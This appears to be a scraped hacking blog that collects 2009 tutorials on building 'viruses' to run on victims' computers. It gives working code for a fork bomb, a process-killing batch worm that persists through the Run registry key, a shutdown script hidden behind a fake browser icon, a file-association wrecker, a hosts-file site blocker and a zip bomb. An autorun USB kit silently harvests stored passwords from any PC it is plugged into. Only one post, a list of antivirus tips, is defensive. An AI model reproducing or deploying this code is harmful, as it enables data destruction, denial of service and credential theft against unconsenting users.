Computer Hacking | Learn How To Hack » Virus

How to make a Fork Bomb (Rabbit Virus)

admin — Mon, 28 Dec 2009 09:25:30 +0000

Introduction

Hey guys, I ‘ve got a new thing for all u guys to have fun with, its very easy and fun to do. Before we start coding ill explain what a fork bomb actually is.

A fork bomb or rabbit virus opens an application for example cmd.exe so many times that its overloads the computers processor which results in the computer either overheating, shutting down or in some cases you can get a BSOD (blue screen of death). Unlike little batch viruses like the shutdown one you cannot stop a fork bomb unless you extremely 1337 so once it starts it goes until it does its job.

Most Anti-Virus software will not pick a fork bomb or rabbit virus, as far as its concerned its just a batch file the opens and application.

Background

Fork Bombs aka Rabbit viruses have been around for ages due to their effectiveness to evade anti-virus software. I came across it when i wanted to play a practical joke on my schools administrator for his birthday. Just to let you know it worked and hes not some n00b. I find them very effective just don’t bomb yourself.

The code

Ok this is the code that you type into notepad.exe remember to save it as a .bat or if you want it in a dorminant for save it as a .txt

One more thing…I am not responsible if you kills your computer or somebody else computer with or without permission. Now that we have that out a the way here we go…

Blocks of code should be set as style “Formatted” like this.

:s

START %0

GOTO :s

Have fun guys and do leave your feedback about this article!

Facebook Virus Prank – Making fun to your friend

admin — Sun, 27 Dec 2009 09:20:50 +0000

In this post i’ll show you an easy step by step tutorial about how to make a Facebook virus using simple commands on notepad. This will make the victims think that they have a virus when they click on an icon such as Internet Explorer or Mozilla Firefox…
This “virus” is totlly harmless and won’t do any damage to your victims computer.
When a victim clicks on the icon he will get a warning message like “WARNING VIRUS DETECTED!!!!! AFTER 5 MINUTES YOUR FACEBOOK ACCOUNT WILL BE DELETED !!!!TO REMOVE THE VIRUS CLICK OK OR CLOSE THIS BOX!”. You can change the text to whatever you want. If you have some other interesting ideas, let me know. This virus doesn’t do anything to your friends pc, but to see his scared face, that’s something …

Now let’s start with the tutorial:

1) Open notepad

2) Type the following text in :

@echo off
msg * WARNING VIRUS DETECTED!!!!! AFTER 5 MINUTES YOUR FACEBOOK ACCOUNT WILL BE DELETED !!!!TO REMOVE THE VIRUS CLICK OK OR CLOSE THIS BOX!

PAUSE
shutdown -r -t 300 -c ” SORRY!!! YOUR FACEBOOK ACCOUNT ARE NOW BEING DELETED !!! PLEASE WAIT ………..”

3) Save as

Internet Explorer .bat (or whatever you want, but be shure that the last letters are .bat)

4) Right click on

Internet Explorer .bat and click Create Shortcut

5) Right click on shorcut and click Properties.

6)Click Change Icon

7) Choose

Internet Explorer icon (or Mozilla Firefox, or any other icon similar to it), click OK , then click Apply

8)Delete real shortcut and replace it with fake . When victim click on it , he will get warning messages that looks like this:

Hope you’ll freak out friend(s).

If this prank was successful and there was some interesting reactions of your friends, feel free to share it with us.

Extension changing Virus

admin — Sun, 20 Dec 2009 13:59:00 +0000

Here in this article i came with Extension changer virus today i am gonna showing you how to change an Extension of an files.

What is Extension changer ?

Assume that all images (*.jpeg, Gif etc) are by default opening with “Windows Picture and Fax Viewer” but in this article this will change to some other application as you wish for ex: .mpeg application so that it cannot be opened in this way you can disable opening of jpeg application.The source code & step by step procedure is as follows.

1. Open a Notepad and copy and paste the below code

@echo off
assoc .txt=jpegfile
assoc .exe=htmlfile
assoc .jpeg=avifile
assoc .png=mpegfile
assoc .mpeg=txtfile
assoc .sys=regfile
msg Your System got Infected…..
exit

2. Save it as anyname.bat, and now you are ready to go…

3. Execute this on Victims computer

This Virus File will change the native extension with some other extension and makes them unable to open the file unless they know how to deal with it…

The above program replaces all the text files [.txt] with the extension [.jpeg], and likewise….

Pass your comments about this article..

Credit : http://hacking2all.blogspot.com/

12 Tips to Maintain a Virus Free Computer

admin — Fri, 27 Nov 2009 06:13:00 +0000

Is your computer infected with virus? Do you often get mysterious error messages? Well this is a common problem faced by almost all the computer users across the globe. There are many viruses and worms out there that could infect your computer. Some are harmless, but, they do have the capacity to do any number of nasty things, up to and including, erasing all data from your computer. However there are ways to keep viruses away from your PC. Here are the 12 tips to maintain a virus free computer.

1. Email is one of the common ways by which your computer can catch a virus. So it is always recommended to stay away from SPAM. Open only those emails that has it’s origin from a trusted source such as those which comes from your contact list. If you are using your own private email host (other than gmail, yahoo, hotmail etc.) then it is highly recommended that you use a good anti-spam software. And finally NEVER click on any links in the emails that comes from untrusted sources.
2. USB thumb/pen drives is another common way by which viruses spread rapidly. So it is always a good habit to perform a virus scan before copying any data onto your computer. NEVER double-click the pen drive to open it. Instead right-click on it and select the option “open”. This is a safe way to open a pen drive.
3. Be careful about using MS Outlook. Outlook is more susceptible to worms than other e-mail programs, unless you have efficient Anti-Virus programs running. Use Pegasus or Thunderbird (by Mozilla), or a web-based program such as Hotmail or Yahoo (In Firefox).
4. As we all know, Internet is the main source of all the malicious programs including viruses, worms, trojans etc. In fact Internet contributes to virus infection by up to 80%. So here are the tips for safe surfing habits so that you can ward off virus infection up to the maximum extent.

Don’t click on pop-up windows that announce a sudden disaster in your city or announce that you’ve won an hourly prize. They are the ways to mislead Internet users and you should never trust them.
You can also use a pop-up blocker to automatically block those pop-ups.

5. Most of us use search engines like Google to find what we are looking for. It is quite obvious for a malicious website to get listed in the search results. So to avoid visiting those untrusted malicious websites, you can download and install the AVG LinkScanner which is a freeware. This tool can become very handy and will help you to stay away from malicious websites.
6. Install a good antivirus software and keep it updated. Also perform full system scan periodically. It is highly recommended that you turn on the automatic update feature. This is the most essential task to protect your PC from virues. If PC security is your first option then it is recommended that you go for a shareware antivirus software over the free ones. Most of the antivirus supports the Auto-Protect feature that provides realtime security for your PC. Make sure that this feature is turned on.
7. Install a good Antispyware program, that operates against Internet malware and spyware.
8. Never open any email attachments that come from untrusted sources. If it is a picture, text or sound file (these attachments end in the extensions .txt, .jpeg, .gif, .bmp, .tif, .mp3, .htm, .html, and .avi), you are probably safe, but still do a scan before opening.
9. Do not use disks that other people gave you, even from work. The disk could be infected with a virus. Of course, you can run a virus scan on it first to check it out.
10. Set up your Windows Update to automatically download patches and upgrades. This will allow your computer to automatically download any updates to both the operating system and Internet Explorer. These updates fix security holes in both pieces of software.
11. While you download files from untrusted websites/sources such as torrents, warez etc. make sure that you run a virus scan before executing them.
12. And finally it is recommended not to visit the websites that feature illegal/unwanted stuffs such as cracks, serials, warez etc. since they contribute much in spreading of viruses and other malicious programs.

A Virus Program to Block Websites

admin — Fri, 02 Oct 2009 08:10:00 +0000

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.
This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.
NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?
Here is the sourcecode of the virus.
#include
#include
#include
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
How to Compile ?
For step-by-step compilation guide, refer my post How to compile C Programs.
Testing
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1—————————google.com
5. Delete all such entries which contain the names of blocked sites.

Hack(steal) all kinds of stored passwords using a Pendrive

admin — Thu, 23 Jul 2009 11:29:00 +0000

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP,
FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Here is a step by step procedure to create the password hacking toolkit.

NOTE: You must temporarily disable your antivirus before following these steps.

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.

ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it as autorun.inf.Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it to launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

2. In the pop-up window, select the first option (“Perform a Virus Scan”.This function can be changed in the previous step).

3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP and Vista

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

Create a Fake And A Destructive Virus in Notepad

admin — Thu, 09 Jul 2009 12:16:00 +0000

This is another simple fake virus but does a little damage,I have published one more article on this about 2 days back ..So i hope this is going to make that even better!

Open notepad and type this:

lol=msgbox (“Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot”,20,”Warning”)

Then save it as Virus.vbs

and go to the folder that contains it and open it if a window pops out saying that a virus has been detected,then it’s working. Press yes or no to close the window and put it in the startup folder of the victim’s account.
On startup the window should appear.

Note: This does not harm your computer as it does not contain virus.

The Yes and No button does not do anything except closing the window. And you can edit the virus in the sentence: Warning a virus has detected on your PC to any kind of virus eg.Trojan Horse like this lol=msgbox (“Warning a Trojan horse has been detected on your PC. Press YES to format your hard disk now or press NO to format format your hard disk after system reboot”,20,”Warning”)

Simple batch virus. (This is quite Destructive !)

This one is a simple batch virus
Just copy and paste the code given below in notepad and save it as game.bat(not .txt). Be carefull & Don’t run this on your PC

@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c “VIRUS DETECTED”
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP

What does it Do ?

1) Copies itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer

Cool Huh ? Keep Programming !

Create 3 Simple Fake Viruses using Command Prompt and Visual Basic

admin — Mon, 06 Jul 2009 13:16:00 +0000

If you want to have some fun with your friends, drop these fake viruses into the folder located at “C:\Documents and Settings\All Users\Start Menu\Startup“, then watch them squirm.

Although the following fake viruses may seem malicious to the unsuspecting, they are non-destructive to your computer system. So you don’t need to worry about anything else and just enjoy the fun of making someone else panic.

1. Fake Virus Batch File – I got this prank from WikiHow so credit goes to them. I love this fake virus because it looks the most like an actual attack. Copy and paste the following into Notepad, then save the file with any name you choose and an extension of “.bat”

Heres the Code

cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep
echo Wscript.Sleep 5000>C:sleep5000.vbs
echo Wscript.Sleep 3000>C:sleep3000.vbs
echo Wscript.Sleep 4000>C:sleep4000.vbs
echo Wscript.Sleep 2000>C:sleep2000.vbs
cd %systemroot%System32
dir
cls
start /w wscript.exe C:sleep3000.vbs
echo Deleting Critical System Files…
echo del *.*
start /w wscript.exe C:sleep3000.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo:
echo Deleting Root Partition…
start /w wscript.exe C:sleep2000.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:sleep4000.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo:
echo Creating Directory h4x…
cd C:Documents and SettingsAll UsersStart MenuPrograms
mkdir h4x
start /w wscript.exe C:sleep3000.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1…
start /w wscript.exe C:sleep3000.vbs
echo cd C:Documents and SettingsAll UsersStart MenuProgramsStartuph4x
echo start hax.exe
start /w wscript.exe C:sleep3000.vbs
echo Virus Executed!
echo:
echo:
echo:
start /w wscript.exe C:sleep2000.vbs
echo Disabling Windows Firewall…
start /w wscript.exe C:sleep2000.vbs
echo Killing all processes…
start /w wscript.exe C:sleep2000.vbs
echo Allowing virus to boot from startup…
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exe C:sleep2000.vbs
echo:
echo Have fun!
start /w wscript.exe C:sleep2000.vbs
pause
shutdown -s -t 10 -c “Your computer has committed suicide. Have a nice day pal.”

And here is the screenshot

2. Fake Format - I remember getting my cousin once with a similar program. This cool fake virus perfectly simulates the Windows disk-format dialog, and cannot be closed or halted until it completes its course. Once it’s done, a message will be displayed informing the user that it was just a joke.

3. Fake Delete – This one is my favorite because, i love its formatting counterpart, Fake Delete mimics the Windows file-delete dialogs. It even goes as far as using your actual file list instead of generic filenames! This also has the “it-was-all-a-joke” screen after it’s done running.

Doesn’t matter your friend click yes or no, fake delete will start deleting all the files.

When executing these pranks, please be considerate to whether your intended victim is mildly-panicky or really panicky, and whether your mark has some kind of panic disorder or heart problem. It’s all fun and games until someone goes to the hospital. Otherwise, have fun!

Create a Simple beginner Virus in notepad

admin — Wed, 03 Jun 2009 12:23:00 +0000

This is a simple tutorial which just tells or gives you the understanding of what a virus is and what it can possibly do !This a .bat file which can be quite helpful in controlling system activities

Index

1. Tools
2. What makes a virus a virus
3. Making your first batch file
4. Making a batch virus
5. Destructive commands
6. Most common tricks used to make someone open the file

1. Tools

To make a batch program you will need a text program (ex. Word,notepad,wordpad etc…) A keyboard if you don’t have one you can use the ON-screen keyboard
To get to the on-screen keyboard start>all programs>accessories>accessibility

2. What makes a virus “a virus”

When people think of a virus they think of a computer virus but the word virus came from a virus that’s in your body. They also think a virus is meant to delete or destroy things. They normally do but a virus is called a virus because, it copies itself. Like a virus in your body it copies it self to other cells cause it can’t live with out a host. Same with a computer virus with out a file or a program a virus can’t be made.
So all a computer virus is: a program that copies it self ,but some people put destructive code in it.

3. Making a Batch file

I’m going to use notepad you can use what ever you want

We are also going to make a “Hello World” Application that is the first program you make in any language

When making a batch file you are always going to use this line first

@echo off

You can turn it on if you like. All that does is telling the program not to tell its location. If you turn it on then the program will tell were it is at on the computer.
You can experiment a little if you want.

Now we are going to make it say Hello World

To do this we need a echo command which looks like this
echo

This tells the program to write something since we want it to say Hello World we are going to type Hello World next to echo to make it look like this

echo Hello World

so at this point you should have

@echo off
echo Hello World

now go to file save and name it test.bat ( you can name it whatever you want as long as it has .bat at the end.)
Save it to the desktop so you can get to it faster.

Then run it

You should of have a black box open and close really fast

To fix this we need a pause command and we will also need a goto command

The goto command is the most important command

If you don’t know the goto command tell it were to go to next.

since we need a pause command we want it to go to pause so we need to write goto pause like this

goto pause

now u should have

@echo off
echo Hello World
goto pause

now we need a subsection name pause

you make a sub section by putting a : by the first word like this

:start

:end

,but we said go to pause so we need one name pause like this

pause

then under that we are going to write pause

pause

this just makes it were it will keep the box open till you press a key

Optional

At the end you can put a exit at the end of pause were the goto command should go ,but you don’t have to.

save at run it now.You should be able to read your text now

4. Making a Batch file into a virus

This is alot easier then some people think.

To make a virus you just need the copy command which looks like this

copy

so lets make a new one by reading section 3 you should know you need the @echo off

@echo off
copy

all right we are going to name this file first

and we are going to make it copy itself to C:\WINDOWS just because no one looks in their

this is what it looks like (i will explain it)

@echo off
copy first C:\WINDOWS

copy-tells it to copy
first-is just the name of the file we want to copy
C:\WINDOWS- is the place you want to copy to

that is a virus

5. Destructive commands

If you get pissed at someone you might want to send him something to mess with him. Here are some commands to add to the virus.

del -this del files

del file name
del (.txt*)

the (.txt*) would delete all txt files on the computer the * at the end just means all instead of a file called .txt

deltree- this deletes the whole folder

you can remember it like this

Think of a tree if you type del you are only deleting a part of the tree ,but if you type deltree you are deleting the whole tree

format- this deletes everything

format c:

this deletes everything in the c drive

open

this is just fun to use to scare some one but not do damage to something

open name of file

like to open notepad type

open notepad

to open Microsoft paint type

open mspaint

just put ta crap load in their

also the next one that can be very useful is looping

this will make the file repeat it self til it is shut off

say your first sub section is called start

you would just make the goto command to go to start like

@echo off
:start
start notepad
goto start

that will open notepad over and over and if they don’t close it it can crash their computer

to open the command window you have to use var. like %% (not going to explain var. it would be confusing)

@echo off
:whatever
start %0
goto whatever

this will open the black box over and over

6. Most command tricks

people will put it in a folder with a couple read me doc. and call it a game

people will say check this out it is so cool

people will say check out this hack or cheat i found for this game

to check if the are good do this

tell them to put it in a zip folder and send it

unzip and right click on the program(don’t open it)

and press edit

that will show the source code and if you see something you don’t like then delete it

Examples

for just a simp msg its

@echo off
echo *insert MSG here*
goto pause
pause

for the a rapid command prompt type screen its

@echo off
:whatever
start %0
goto whatever

for rapid note pad its

@echo off
:start
start notepad
goto start

for rapid ms paint its

@echo off
:start
start ms paint
goto start

Quite Long but good to try…You can check out more posts regarding command prompt and .bat files

Create a Zip Bomb

admin — Mon, 23 Mar 2009 14:07:00 +0000

A zip bomb, also known as a Zip of Death, is a malicious archive file designed to crash or render useless the program or system reading it. It is often used by virus writers to disable antivirus software, so that a more traditional virus sent afterwards could get into system undetected. A zip bomb is usually a small file (up to a few hundred kilobytes) for ease of transport and to avoid suspicion. However, when the file is unpacked its contents are more than the system can handle.You can make your own zip bomb to annoy your friends or just out of curiosity (or wilderness) to experiment with it. Make sure you don’t detonate it on yourself.

Here is how to make your own Zip of Death -

Create a new text file,name it a.txt

Open and type the null character (alt + 255) in it.

Now press Ctrl + A then Ctrl + V a couple times to make some null bytes.If u have a hex editor,then make the hex 00 for about 50 kilobytes.

Now make several copies of a.txt in the same directory and name them accordingly.

Open Command prompt and navigate to the folder containing a.txt . Type -

copy /b *.txt b.txt

This will write all the contents of a.text and its copies into a new text file called b.txt,hence making every copy is a super copy. Repeat the above steps from the beginning again and again to make a really big text file.

Once u have a nice empty big text file like 1gb or more,then compress it using Winrar or Winzip into a zip file.

You will find that it will be compressed to very small size (about 1MB ). It is because of the simple construction of the file as the text file contains 1gb of null bytes.

For added fun,open the compressed zip file file into a hex editor. You will see a bunch of hex 5555.Just add some more and the file will expand amazingly.

Make sure that YOU DONT OPEN THIS afterwards.

You can make the same file in Linux by typing –

dd if=/dev/zero bs=1000 count=1000000 | gzip > test.gz

Send it to your friends (or foes) and it will definitely annoy them . Use some creativity and rename the text file into some thing like Angelina Jolie.jpg and compress it and email to your friends. Once they download it,they will never be able to download again (sarcasm..sarcasm).More disastrous combinations can be made by experimenting with it.I mean..you get the idea

Also,you can check out the one of the most famous zip bombs alive today – 42.zip (only 42 KB) which will uncompress to about 4 Petabytes (1 Peta byte = 1024 TB and 1 TB = 1024 GB ) of file size. Dangerous huh..?